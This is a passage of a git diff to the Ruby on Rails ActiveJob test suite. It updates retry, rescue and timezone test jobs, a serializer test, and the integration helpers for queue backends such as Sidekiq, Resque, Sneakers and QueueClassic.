diff --git a/activejob/test/jobs/queue_as_job.rb b/activejob/test/jobs/queue_as_job.rb
deleted file mode 100644
index 7dc318e736ee0..0000000000000
--- a/activejob/test/jobs/queue_as_job.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require_relative "../support/job_buffer"
-
-class QueueAsJob < ActiveJob::Base
-  MY_QUEUE = :low_priority
-  queue_as MY_QUEUE
-
-  def perform(greeter = "David")
-    JobBuffer.add("#{greeter} says hello")
-  end
-end
diff --git a/activejob/test/jobs/raising_job.rb b/activejob/test/jobs/raising_job.rb
new file mode 100644
index 0000000000000..762dd069d4ba6
--- /dev/null
+++ b/activejob/test/jobs/raising_job.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class RaisingJob < ActiveJob::Base
+  MyError = Class.new(StandardError)
+
+  retry_on(MyError, attempts: 2)
+
+  def perform(error = "RaisingJob::MyError")
+    raise error.constantize
+  end
+end
diff --git a/activejob/test/jobs/rescue_job.rb b/activejob/test/jobs/rescue_job.rb
index ef8f777437d68..00538739955f6 100644
--- a/activejob/test/jobs/rescue_job.rb
+++ b/activejob/test/jobs/rescue_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 
 class RescueJob < ActiveJob::Base
@@ -6,7 +8,9 @@ class OtherError < StandardError; end
   rescue_from(ArgumentError) do
     JobBuffer.add("rescued from ArgumentError")
     arguments[0] = "DIFFERENT!"
-    retry_job
+    job = retry_job
+    JobBuffer.add("Retried job #{job.arguments[0]}")
+    job
   end
 
   rescue_from(ActiveJob::DeserializationError) do |e|
@@ -14,12 +18,18 @@ class OtherError < StandardError; end
     JobBuffer.add("DeserializationError original exception was #{e.cause.class.name}")
   end
 
+  rescue_from(NotImplementedError) do
+    JobBuffer.add("rescued from NotImplementedError")
+  end
+
   def perform(person = "david")
     case person
     when "david"
       raise ArgumentError, "Hair too good"
     when "other"
-      raise OtherError
+      raise OtherError, "Bad hair"
+    when "rafael"
+      raise NotImplementedError, "Hair is just perfect"
     else
       JobBuffer.add("performed beautifully")
     end
diff --git a/activejob/test/jobs/retries_job.rb b/activejob/test/jobs/retries_job.rb
new file mode 100644
index 0000000000000..c7f4020d56c1a
--- /dev/null
+++ b/activejob/test/jobs/retries_job.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class BeforeEnqueueError < StandardError; end
+
+class RetriesJob < ActiveJob::Base
+  attr_accessor :raise_before_enqueue
+
+  # The job fails in before_enqueue the first time it retries itself.
+  before_perform do
+    self.raise_before_enqueue = true
+  end
+
+  # The job fails once to enqueue/retry itself, then succeeds.
+  before_enqueue do
+    raise BeforeEnqueueError if raise_before_enqueue
+  ensure
+    @raise_before_enqueue = false
+  end
+
+  # The job retries on BeforeEnqueueError errors.
+  retry_on BeforeEnqueueError
+
+  def perform
+    retry_job if executions <= 1
+  end
+end
diff --git a/activejob/test/jobs/retry_job.rb b/activejob/test/jobs/retry_job.rb
index c02febc50cf7e..fbfeca6c5c944 100644
--- a/activejob/test/jobs/retry_job.rb
+++ b/activejob/test/jobs/retry_job.rb
@@ -1,25 +1,54 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 require "active_support/core_ext/integer/inflections"
 
 class DefaultsError < StandardError; end
+class DisabledJitterError < StandardError; end
+class ZeroJitterError < StandardError; end
+class FirstRetryableErrorOfTwo < StandardError; end
+class SecondRetryableErrorOfTwo < StandardError; end
 class LongWaitError < StandardError; end
 class ShortWaitTenAttemptsError < StandardError; end
-class ExponentialWaitTenAttemptsError < StandardError; end
+class PolynomialWaitTenAttemptsError < StandardError; end
 class CustomWaitTenAttemptsError < StandardError; end
 class CustomCatchError < StandardError; end
 class DiscardableError < StandardError; end
+class FirstDiscardableErrorOfTwo < StandardError; end
+class SecondDiscardableErrorOfTwo < StandardError; end
+class CustomDiscardableError < StandardError; end
+class UnlimitedRetryError < StandardError; end
+class ReportedError < StandardError; end
+class HeavyError < StandardError; end
 
 class RetryJob < ActiveJob::Base
   retry_on DefaultsError
+  retry_on DisabledJitterError, jitter: nil
+  retry_on ZeroJitterError, jitter: 0.0
+  retry_on FirstRetryableErrorOfTwo, SecondRetryableErrorOfTwo, attempts: 4
   retry_on LongWaitError, wait: 1.hour, attempts: 10
   retry_on ShortWaitTenAttemptsError, wait: 1.second, attempts: 10
-  retry_on ExponentialWaitTenAttemptsError, wait: :exponentially_longer, attempts: 10
+  retry_on PolynomialWaitTenAttemptsError, wait: :polynomially_longer, attempts: 10
   retry_on CustomWaitTenAttemptsError, wait: ->(executions) { executions * 2 }, attempts: 10
-  retry_on(CustomCatchError) { |job, exception| JobBuffer.add("Dealt with a job that failed to retry in a custom way after #{job.arguments.second} attempts") }
+  retry_on(CustomCatchError) { |job, error| JobBuffer.add("Dealt with a job that failed to retry in a custom way after #{job.arguments.second} attempts. Message: #{error.message}") }
+  retry_on(ActiveJob::DeserializationError) { |job, error| JobBuffer.add("Raised #{error.class} for the #{job.executions} time") }
+  retry_on UnlimitedRetryError, attempts: :unlimited
+  retry_on ReportedError, report: true
+  retry_on HeavyError, queue: :low
+
   discard_on DiscardableError
+  discard_on FirstDiscardableErrorOfTwo, SecondDiscardableErrorOfTwo
+  discard_on(CustomDiscardableError) { |job, error| JobBuffer.add("Dealt with a job that was discarded in a custom way. Message: #{error.message}") }
+
+  before_enqueue do |job|
+    if job.arguments.include?(:log_scheduled_at) && job.scheduled_at
+      JobBuffer.add("Next execution scheduled at #{job.scheduled_at.to_f}")
+    end
+  end
 
-  def perform(raising, attempts)
-    if executions < attempts
+  def perform(raising, attempts, *)
+    raising = raising.shift if raising.is_a?(Array)
+    if raising && executions < attempts
       JobBuffer.add("Raised #{raising} for the #{executions.ordinalize} time")
       raise raising.constantize
     else
diff --git a/activejob/test/jobs/timezone_dependent_job.rb b/activejob/test/jobs/timezone_dependent_job.rb
new file mode 100644
index 0000000000000..358c3aa8594b9
--- /dev/null
+++ b/activejob/test/jobs/timezone_dependent_job.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+require "active_support/time"
+
+class TimezoneDependentJob < ActiveJob::Base
+  def perform(now)
+    now = now.in_time_zone
+    new_year = localtime(2018, 1, 1)
+
+    if now >= new_year
+      JobBuffer.add("Happy New Year!")
+    else
+      JobBuffer.add("Just #{(new_year - now).div(3600)} hours to go")
+    end
+  end
+
+  private
+    def localtime(*args)
+      Time.zone ? Time.zone.local(*args) : Time.utc(*args)
+    end
+end
diff --git a/activejob/test/jobs/timezone_raising_job.rb b/activejob/test/jobs/timezone_raising_job.rb
new file mode 100644
index 0000000000000..86d05d506f268
--- /dev/null
+++ b/activejob/test/jobs/timezone_raising_job.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+require "active_support/time"
+
+class TimezoneRaisingJob < ActiveJob::Base
+  rescue_from(StandardError) do
+    JobBuffer.add(Time.zone.name)
+  end
+
+  def perform
+    raise "boom"
+  end
+end
diff --git a/activejob/test/jobs/translated_hello_job.rb b/activejob/test/jobs/translated_hello_job.rb
index 56e9f147b9361..a0a68b40409b1 100644
--- a/activejob/test/jobs/translated_hello_job.rb
+++ b/activejob/test/jobs/translated_hello_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "../support/job_buffer"
 
 class TranslatedHelloJob < ActiveJob::Base
diff --git a/activejob/test/jobs/translated_raising_job.rb b/activejob/test/jobs/translated_raising_job.rb
new file mode 100644
index 0000000000000..05e074352453a
--- /dev/null
+++ b/activejob/test/jobs/translated_raising_job.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require_relative "../support/job_buffer"
+
+class TranslatedRaisingJob < ActiveJob::Base
+  rescue_from(StandardError) do
+    JobBuffer.add(I18n.locale)
+  end
+
+  def perform
+    raise "boom"
+  end
+end
diff --git a/activejob/test/models/person.rb b/activejob/test/models/person.rb
index b5d68ad9c18ce..9a3bfab25f0ca 100644
--- a/activejob/test/models/person.rb
+++ b/activejob/test/models/person.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Person
   class RecordNotFound < StandardError; end
 
diff --git a/activejob/test/serializers/time_with_zone_serializer_test.rb b/activejob/test/serializers/time_with_zone_serializer_test.rb
new file mode 100644
index 0000000000000..5e0f8b645ad39
--- /dev/null
+++ b/activejob/test/serializers/time_with_zone_serializer_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "helper"
+
+class TimeWithZoneSerializerTest < ActiveSupport::TestCase
+  test "#deserialize preserves serialized time zone" do
+    time_zone_before = Time.zone
+
+    Time.zone = "America/Los_Angeles"
+    time_with_zone = Time.parse("08:00").in_time_zone
+
+    assert_equal "America/Los_Angeles", time_with_zone.time_zone.tzinfo.name
+
+    serialized = ActiveJob::Serializers::TimeWithZoneSerializer.serialize(time_with_zone)
+    Time.zone = "Europe/London"
+    deserialized = ActiveJob::Serializers::TimeWithZoneSerializer.deserialize(serialized)
+
+    assert_equal "America/Los_Angeles", deserialized.time_zone.tzinfo.name
+    assert_equal time_with_zone, deserialized
+  ensure
+    Time.zone = time_zone_before
+  end
+end
diff --git a/activejob/test/support/backburner/inline.rb b/activejob/test/support/backburner/inline.rb
index 9758332b6f4c6..6c708c0b7bc57 100644
--- a/activejob/test/support/backburner/inline.rb
+++ b/activejob/test/support/backburner/inline.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "backburner"
 
 Backburner::Worker.class_eval do
diff --git a/activejob/test/support/delayed_job/delayed/backend/test.rb b/activejob/test/support/delayed_job/delayed/backend/test.rb
index 98d731ff1eacc..c6d24322a4783 100644
--- a/activejob/test/support/delayed_job/delayed/backend/test.rb
+++ b/activejob/test/support/delayed_job/delayed/backend/test.rb
@@ -1,5 +1,6 @@
-#copied from https://github.com/collectiveidea/delayed_job/blob/master/spec/delayed/backend/test.rb
-require "ostruct"
+# frozen_string_literal: true
+
+# copied from https://github.com/collectiveidea/delayed_job/blob/master/spec/delayed/backend/test.rb
 
 # An in-memory backend suitable only for testing. Tries to behave as if it were an ORM.
 module Delayed
@@ -19,8 +20,7 @@ class Job
 
         include Delayed::Backend::Base
 
-        cattr_accessor :id
-        self.id = 0
+        cattr_accessor :id, default: 0, instance_accessor: false
 
         def initialize(hash = {})
           self.attempts = 0
@@ -76,7 +76,7 @@ def lock_exclusively!(max_run_time, worker)
             self.locked_by = worker
           end
 
-          return true
+          true
         end
 
         def self.db_time_now
diff --git a/activejob/test/support/do_not_perform_enqueued_jobs.rb b/activejob/test/support/do_not_perform_enqueued_jobs.rb
new file mode 100644
index 0000000000000..47596ea20f438
--- /dev/null
+++ b/activejob/test/support/do_not_perform_enqueued_jobs.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module DoNotPerformEnqueuedJobs
+  extend ActiveSupport::Concern
+
+  included do
+    setup do
+      # /rails/activejob/test/adapters/test.rb sets these configs to true, but
+      # in this specific case we want to test enqueueing behavior.
+      @perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs
+      @perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs
+      queue_adapter.perform_enqueued_jobs = queue_adapter.perform_enqueued_at_jobs = false
+    end
+
+    teardown do
+      queue_adapter.perform_enqueued_jobs = @perform_enqueued_jobs
+      queue_adapter.perform_enqueued_at_jobs = @perform_enqueued_at_jobs
+    end
+  end
+end
diff --git a/activejob/test/support/integration/adapters/async.rb b/activejob/test/support/integration/adapters/async.rb
index 44ab98437aafe..ba9674d7a1d1c 100644
--- a/activejob/test/support/integration/adapters/async.rb
+++ b/activejob/test/support/integration/adapters/async.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module AsyncJobsManager
   def setup
     ActiveJob::Base.queue_adapter = :async
diff --git a/activejob/test/support/integration/adapters/backburner.rb b/activejob/test/support/integration/adapters/backburner.rb
index 2e194933a171c..597cd2a6fb109 100644
--- a/activejob/test/support/integration/adapters/backburner.rb
+++ b/activejob/test/support/integration/adapters/backburner.rb
@@ -1,12 +1,16 @@
+# frozen_string_literal: true
+
 module BackburnerJobsManager
   def setup
     ActiveJob::Base.queue_adapter = :backburner
     Backburner.configure do |config|
+      config.beanstalk_url = ENV["BEANSTALK_URL"] if ENV["BEANSTALK_URL"]
       config.logger = Rails.logger
     end
     unless can_run?
-      puts "Cannot run integration tests for backburner. To be able to run integration tests for backburner you need to install and start beanstalkd.\n"
-      exit
+      puts "Cannot run integration tests for Backburner. To be able to run integration tests for Backburner you need to install and start beanstalkd.\n"
+      status = ENV["BUILDKITE"] ? false : true
+      exit status
     end
   end
 
diff --git a/activejob/test/support/integration/adapters/delayed_job.rb b/activejob/test/support/integration/adapters/delayed_job.rb
index 2adbbcd88fb28..fc9bae47fadf8 100644
--- a/activejob/test/support/integration/adapters/delayed_job.rb
+++ b/activejob/test/support/integration/adapters/delayed_job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "delayed_job"
 require "delayed_job_active_record"
 
@@ -16,5 +18,6 @@ def start_workers
 
   def stop_workers
     @worker.stop
+    @thread.join
   end
 end
diff --git a/activejob/test/support/integration/adapters/inline.rb b/activejob/test/support/integration/adapters/inline.rb
index e06b34c976f28..10a97fb941109 100644
--- a/activejob/test/support/integration/adapters/inline.rb
+++ b/activejob/test/support/integration/adapters/inline.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module InlineJobsManager
   def setup
     ActiveJob::Base.queue_adapter = :inline
diff --git a/activejob/test/support/integration/adapters/qu.rb b/activejob/test/support/integration/adapters/qu.rb
deleted file mode 100644
index 71819f5a55939..0000000000000
--- a/activejob/test/support/integration/adapters/qu.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-module QuJobsManager
-  def setup
-    require "qu-rails"
-    require "qu-redis"
-    ActiveJob::Base.queue_adapter = :qu
-    ENV["REDISTOGO_URL"] = "redis://127.0.0.1:6379/12"
-    backend = Qu::Backend::Redis.new
-    backend.namespace = "active_jobs_int_test"
-    Qu.backend  = backend
-    Qu.logger   = Rails.logger
-    Qu.interval = 0.5
-    unless can_run?
-      puts "Cannot run integration tests for qu. To be able to run integration tests for qu you need to install and start redis.\n"
-      exit
-    end
-  end
-
-  def clear_jobs
-    Qu.clear "integration_tests"
-  end
-
-  def start_workers
-    @thread = Thread.new { Qu::Worker.new("integration_tests").start }
-  end
-
-  def stop_workers
-    @thread.kill
-  end
-
-  def can_run?
-    begin
-      Qu.backend.connection.client.connect
-    rescue
-      return false
-    end
-    true
-  end
-end
diff --git a/activejob/test/support/integration/adapters/que.rb b/activejob/test/support/integration/adapters/que.rb
deleted file mode 100644
index 20faee3427e63..0000000000000
--- a/activejob/test/support/integration/adapters/que.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module QueJobsManager
-  def setup
-    require "sequel"
-    ActiveJob::Base.queue_adapter = :que
-    Que.mode = :off
-    Que.worker_count = 1
-  end
-
-  def clear_jobs
-    Que.clear!
-  end
-
-  def start_workers
-    que_url = ENV["QUE_DATABASE_URL"] || "postgres:///active_jobs_que_int_test"
-    uri = URI.parse(que_url)
-    user = uri.user || ENV["USER"]
-    pass = uri.password
-    db   = uri.path[1..-1]
-    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
-    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
-    Que.connection = Sequel.connect(que_url)
-    Que.migrate!
-
-    @thread = Thread.new do
-      loop do
-        Que::Job.work
-        sleep 0.5
-      end
-    end
-
-  rescue Sequel::DatabaseConnectionError
-    puts "Cannot run integration tests for que. To be able to run integration tests for que you need to install and start postgresql.\n"
-    exit
-  end
-
-  def stop_workers
-    @thread.kill
-  end
-end
diff --git a/activejob/test/support/integration/adapters/queue_classic.rb b/activejob/test/support/integration/adapters/queue_classic.rb
index 369693e947b0b..c17400f3e5220 100644
--- a/activejob/test/support/integration/adapters/queue_classic.rb
+++ b/activejob/test/support/integration/adapters/queue_classic.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module QueueClassicJobsManager
   def setup
     ENV["QC_DATABASE_URL"] ||= "postgres:///active_jobs_qc_int_test"
@@ -12,11 +14,22 @@ def clear_jobs
 
   def start_workers
     uri = URI.parse(ENV["QC_DATABASE_URL"])
+    host = uri.host
+    port = uri.port
     user = uri.user || ENV["USER"]
     pass = uri.password
     db   = uri.path[1..-1]
-    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
-    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+
+    psql = [].tap do |args|
+      args << "PGPASSWORD=\"#{pass}\"" if pass
+      args << "psql -X -U #{user} -t template1"
+      args << "-h #{host}" if host
+      args << "-p #{port}" if port
+    end.join(" ")
+
+    %x{#{psql} -c 'drop database if exists "#{db}"'}
+    %x{#{psql} -c 'create database "#{db}"'}
+
     QC::Setup.create
 
     QC.default_conn_adapter.disconnect
@@ -27,8 +40,9 @@ def start_workers
     end
 
   rescue PG::ConnectionBad
-    puts "Cannot run integration tests for queue_classic. To be able to run integration tests for queue_classic you need to install and start postgresql.\n"
-    exit
+    puts "Cannot run integration tests for QueueClassic. To be able to run integration tests for QueueClassic you need to install and start PostgreSQL.\n"
+    status = ENV["BUILDKITE"] ? false : true
+    exit status
   end
 
   def stop_workers
diff --git a/activejob/test/support/integration/adapters/resque.rb b/activejob/test/support/integration/adapters/resque.rb
index a21a1786c914a..b9dcb7c0cf87f 100644
--- a/activejob/test/support/integration/adapters/resque.rb
+++ b/activejob/test/support/integration/adapters/resque.rb
@@ -1,11 +1,14 @@
+# frozen_string_literal: true
+
 module ResqueJobsManager
   def setup
     ActiveJob::Base.queue_adapter = :resque
-    Resque.redis = Redis::Namespace.new "active_jobs_int_test", redis: Redis.connect(url: "redis://127.0.0.1:6379/12", thread_safe: true)
+    Resque.redis = Redis::Namespace.new "active_jobs_int_test", redis: Redis.new(url: ENV["REDIS_URL"] || "redis://127.0.0.1:6379/12")
     Resque.logger = Rails.logger
     unless can_run?
-      puts "Cannot run integration tests for resque. To be able to run integration tests for resque you need to install and start redis.\n"
-      exit
+      puts "Cannot run integration tests for Resque. To be able to run integration tests for Resque you need to install and start Redis.\n"
+      status = ENV["BUILDKITE"] ? false : true
+      exit status
     end
   end
 
@@ -39,11 +42,8 @@ def stop_workers
   end
 
   def can_run?
-    begin
-      Resque.redis.client.connect
-    rescue
-      return false
-    end
-    true
+    Resque.redis.ping == "PONG"
+  rescue
+    false
   end
 end
diff --git a/activejob/test/support/integration/adapters/sidekiq.rb b/activejob/test/support/integration/adapters/sidekiq.rb
index bbb575f6da55e..8a4c87da3bb49 100644
--- a/activejob/test/support/integration/adapters/sidekiq.rb
+++ b/activejob/test/support/integration/adapters/sidekiq.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "sidekiq/api"
 
 require "sidekiq/testing"
@@ -7,8 +9,9 @@ module SidekiqJobsManager
   def setup
     ActiveJob::Base.queue_adapter = :sidekiq
     unless can_run?
-      puts "Cannot run integration tests for sidekiq. To be able to run integration tests for sidekiq you need to install and start redis.\n"
-      exit
+      puts "Cannot run integration tests for Sidekiq. To be able to run integration tests for Sidekiq you need to install and start Redis.\n"
+      status = ENV["BUILDKITE"] ? false : true
+      exit status
     end
   end
 
@@ -22,18 +25,19 @@ def start_workers
     death_read, death_write = IO.pipe
 
     @pid = fork do
+      Sidekiq.redis_pool.reload(&:close)
       continue_read.close
       death_write.close
 
       # Sidekiq is not warning-clean :(
       $VERBOSE = false
 
-      $stdin.reopen("/dev/null")
+      $stdin.reopen(File::NULL)
       $stdout.sync = true
       $stderr.sync = true
 
       logfile = Rails.root.join("log/sidekiq.log").to_s
-      Sidekiq::Logging.initialize_logger(logfile)
+      set_logger(Sidekiq::Logger.new(logfile))
 
       self_read, self_write = IO.pipe
       trap "TERM" do
@@ -48,13 +52,36 @@ def start_workers
         self_write.puts("TERM")
       end
 
+      require "sidekiq/cli"
       require "sidekiq/launcher"
-      sidekiq = Sidekiq::Launcher.new(queues: ["integration_tests"],
-                                       environment: "test",
-                                       concurrency: 1,
-                                       timeout: 1)
-      Sidekiq.average_scheduled_poll_interval = 0.5
-      Sidekiq.options[:poll_interval_average] = 1
+      if Gem::Version.new(Sidekiq::VERSION) >= Gem::Version.new("7")
+        config = Sidekiq.default_configuration
+        config.queues = ["integration_tests"]
+        config.concurrency = 1
+        config.average_scheduled_poll_interval = 0.1
+        config.merge!(
+          environment: "test",
+          timeout: 1,
+          poll_interval_average: 1
+        )
+      elsif Sidekiq.respond_to?(:[]=)
+        # Sidekiq 6.5
+        config = Sidekiq
+        config[:queues] = ["integration_tests"]
+        config[:environment] = "test"
+        config[:concurrency] = 1
+        config[:timeout] = 1
+      else
+        config = {
+          queues: ["integration_tests"],
+          environment: "test",
+          concurrency: 1,
+          timeout: 1,
+          average_scheduled_poll_interval: 0.5,
+          poll_interval_average: 1
+        }
+      end
+      sidekiq = Sidekiq::Launcher.new(config)
       begin
         sidekiq.run
         continue_write.puts "started"
@@ -80,15 +107,28 @@ def stop_workers
       Process.kill "TERM", @pid
       Process.wait @pid
     end
+    @pid = nil
   end
 
   def can_run?
     begin
       Sidekiq.redis(&:info)
-      Sidekiq.logger = nil
-    rescue
-      return false
+    rescue => e
+      if e.class.to_s.include?("CannotConnectError")
+        return false
+      else
+        raise
+      end
     end
+    set_logger(nil)
     true
   end
+
+  def set_logger(logger)
+    if Gem::Version.new(Sidekiq::VERSION) >= Gem::Version.new("7")
+      Sidekiq.default_configuration.logger = logger
+    else
+      Sidekiq.logger = logger
+    end
+  end
 end
diff --git a/activejob/test/support/integration/adapters/sneakers.rb b/activejob/test/support/integration/adapters/sneakers.rb
index 1c8dfaca59608..0848c883a38e3 100644
--- a/activejob/test/support/integration/adapters/sneakers.rb
+++ b/activejob/test/support/integration/adapters/sneakers.rb
@@ -1,22 +1,13 @@
+# frozen_string_literal: true
+
 require "sneakers/runner"
-require "sneakers/publisher"
 require "timeout"
 
-module Sneakers
-  class Publisher
-    def safe_ensure_connected
-      @mutex.synchronize do
-        ensure_connection! unless connected?
-      end
-    end
-  end
-end
-
 module SneakersJobsManager
   def setup
     ActiveJob::Base.queue_adapter = :sneakers
     Sneakers.configure  heartbeat: 2,
-                        amqp: "amqp://guest:guest@localhost:5672",
+                        amqp: ENV["RABBITMQ_URL"] || "amqp://guest:guest@localhost:5672",
                         vhost: "/",
                         exchange: "active_jobs_sneakers_int_test",
                         exchange_type: :direct,
@@ -26,8 +17,9 @@ def setup
                         pid_path: Rails.root.join("tmp/sneakers.pid").to_s,
                         log: Rails.root.join("log/sneakers.log").to_s
     unless can_run?
-      puts "Cannot run integration tests for sneakers. To be able to run integration tests for sneakers you need to install and start rabbitmq.\n"
-      exit
+      puts "Cannot run integration tests for Sneakers. To be able to run integration tests for Sneakers you need to install and start RabbitMQ.\n"
+      status = ENV["BUILDKITE"] ? false : true
+      exit status
     end
   end
 
@@ -39,7 +31,7 @@ def start_workers
     @pid = fork do
       queues = %w(integration_tests)
       workers = queues.map do |q|
-        worker_klass = "ActiveJobWorker" + Digest::MD5.hexdigest(q)
+        worker_klass = "ActiveJobWorker" + OpenSSL::Digest::MD5.hexdigest(q)
         Sneakers.const_set(worker_klass, Class.new(ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper) do
           from_queue q
         end)
@@ -77,7 +69,7 @@ def can_run?
     def bunny_publisher
       @bunny_publisher ||= begin
         p = ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper.send(:publisher)
-        p.safe_ensure_connected
+        p.ensure_connection!
         p
       end
     end
diff --git a/activejob/test/support/integration/adapters/sucker_punch.rb b/activejob/test/support/integration/adapters/sucker_punch.rb
deleted file mode 100644
index 9c0d66b46990e..0000000000000
--- a/activejob/test/support/integration/adapters/sucker_punch.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module SuckerPunchJobsManager
-  def setup
-    ActiveJob::Base.queue_adapter = :sucker_punch
-    SuckerPunch.logger = nil
-  end
-end
diff --git a/activejob/test/support/integration/dummy_app_template.rb b/activejob/test/support/integration/dummy_app_template.rb
index 29a5691f3033f..a77b91c439c4b 100644
--- a/activejob/test/support/integration/dummy_app_template.rb
+++ b/activejob/test/support/integration/dummy_app_template.rb
@@ -1,11 +1,11 @@
+# frozen_string_literal: true
+
 if ENV["AJ_ADAPTER"] == "delayed_job"
   generate "delayed_job:active_record", "--quiet"
 end
 
-rails_command("db:migrate")
-
 initializer "activejob.rb", <<-CODE
-require "#{File.expand_path("../jobs_manager.rb",  __FILE__)}"
+require "#{File.expand_path("jobs_manager.rb",  __dir__)}"
 JobsManager.current_manager.setup
 CODE
 
@@ -21,6 +21,7 @@ def perform(x)
     File.open(Rails.root.join("tmp/\#{x}.new"), "wb+") do |f|
       f.write Marshal.dump({
         "locale" => I18n.locale.to_s || "en",
+        "timezone" => Time.zone&.name || "UTC",
         "executed_at" => Time.now.to_r
       })
     end
@@ -28,3 +29,36 @@ def perform(x)
   end
 end
 CODE
+
+file "app/jobs/continuable_test_job.rb", <<-CODE
+require "active_job/continuation"
+
+class ContinuableTestJob < ActiveJob::Base
+  include ActiveJob::Continuable
+
+  queue_as :integration_tests
+
+  def perform(x)
+    step :step_one do
+      raise "Rerunning step one!" if File.exist?(Rails.root.join("tmp/\#{x}.started"))
+      File.open(Rails.root.join("tmp/\#{x}.new"), "wb+") do |f|
+        f.write Marshal.dump({
+          "locale" => I18n.locale.to_s || "en",
+          "timezone" => Time.zone&.name || "UTC",
+          "executed_at" => Time.now.to_r
+        })
+      end
+      File.rename(Rails.root.join("tmp/\#{x}.new"), Rails.root.join("tmp/\#{x}.started"))
+    end
+    step :step_two do |step|
+      8.times do |i|
+        sleep 0.25
+        step.checkpoint!
+      end
+    end
+    step :step_three do
+      File.rename(Rails.root.join("tmp/\#{x}.started"), Rails.root.join("tmp/\#{x}"))
+    end
+  end
+end
+CODE
diff --git a/activejob/test/support/integration/helper.rb b/activejob/test/support/integration/helper.rb
index 626b932ccea3c..58b917ac2917a 100644
--- a/activejob/test/support/integration/helper.rb
+++ b/activejob/test/support/integration/helper.rb
@@ -1,4 +1,4 @@
-puts "\n\n*** rake aj:integration:#{ENV['AJ_ADAPTER']} ***\n"
+# frozen_string_literal: true
 
 ENV["RAILS_ENV"] = "test"
 ActiveJob::Base.queue_name_prefix = nil
@@ -7,15 +7,16 @@
 
 require "tmpdir"
 dummy_app_path     = Dir.mktmpdir + "/dummy"
-dummy_app_template = File.expand_path("../dummy_app_template.rb",  __FILE__)
+dummy_app_template = File.expand_path("dummy_app_template.rb",  __dir__)
 args = Rails::Generators::ARGVScrubber.new(["new", dummy_app_path, "--skip-gemfile", "--skip-bundle",
-  "--skip-git", "--skip-spring", "-d", "sqlite3", "--skip-javascript", "--force", "--quiet",
+  "--skip-git", "-d", "sqlite3", "--skip-javascript", "--force", "--quiet",
   "--template", dummy_app_template]).prepare!
 Rails::Generators::AppGenerator.start args
 
 require "#{dummy_app_path}/config/environment.rb"
 
 ActiveRecord::Migrator.migrations_paths = [ Rails.root.join("db/migrate").to_s ]
+ActiveRecord::Tasks::DatabaseTasks.migrate
 require "rails/test_help"
 
 Rails.backtrace_cleaner.remove_silencers!
diff --git a/activejob/test/support/integration/jobs_manager.rb b/activejob/test/support/integration/jobs_manager.rb
index 488756437bd39..4775f52b2f6e6 100644
--- a/activejob/test/support/integration/jobs_manager.rb
+++ b/activejob/test/support/integration/jobs_manager.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class JobsManager
   @@managers = {}
   attr :adapter_name
diff --git a/activejob/test/support/integration/test_case_helpers.rb b/activejob/test/support/integration/test_case_helpers.rb
index 41bf9c89d1edd..87a360cec6bc9 100644
--- a/activejob/test/support/integration/test_case_helpers.rb
+++ b/activejob/test/support/integration/test_case_helpers.rb
@@ -1,4 +1,5 @@
-require "active_support/core_ext/string/inflections"
+# frozen_string_literal: true
+
 require "support/integration/jobs_manager"
 
 module TestCaseHelpers
@@ -18,7 +19,6 @@ module TestCaseHelpers
   end
 
   private
-
     def jobs_manager
       JobsManager.current_manager
     end
@@ -27,20 +27,13 @@ def clear_jobs
       jobs_manager.clear_jobs
     end
 
-    def adapter_is?(*adapter_class_symbols)
-      adapter = ActiveJob::Base.queue_adapter.class.name.demodulize.chomp("Adapter").underscore
-      adapter_class_symbols.map(&:to_s).include? adapter
-    end
-
     def wait_for_jobs_to_finish_for(seconds = 60)
-      begin
-        Timeout.timeout(seconds) do
-          while !job_executed do
-            sleep 0.25
-          end
+      Timeout.timeout(seconds) do
+        while !job_executed do
+          sleep 0.25
         end
-      rescue Timeout::Error
       end
+    rescue Timeout::Error
     end
 
     def job_file(id)
@@ -51,6 +44,10 @@ def job_executed(id = @id)
       job_file(id).exist?
     end
 
+    def continuable_job_started(id = @id)
+      job_file("#{id}.started").exist?
+    end
+
     def job_data(id)
       Marshal.load(File.binread(job_file(id)))
     end
@@ -62,4 +59,8 @@ def job_executed_at(id = @id)
     def job_executed_in_locale(id = @id)
       job_data(id)["locale"]
     end
+
+    def job_executed_in_timezone(id = @id)
+      job_data(id)["timezone"]
+    end
 end
diff --git a/activejob/test/support/job_buffer.rb b/activejob/test/support/job_buffer.rb
index 620cb5288d838..aa6c41592e64e 100644
--- a/activejob/test/support/job_buffer.rb
+++ b/activejob/test/support/job_buffer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module JobBuffer
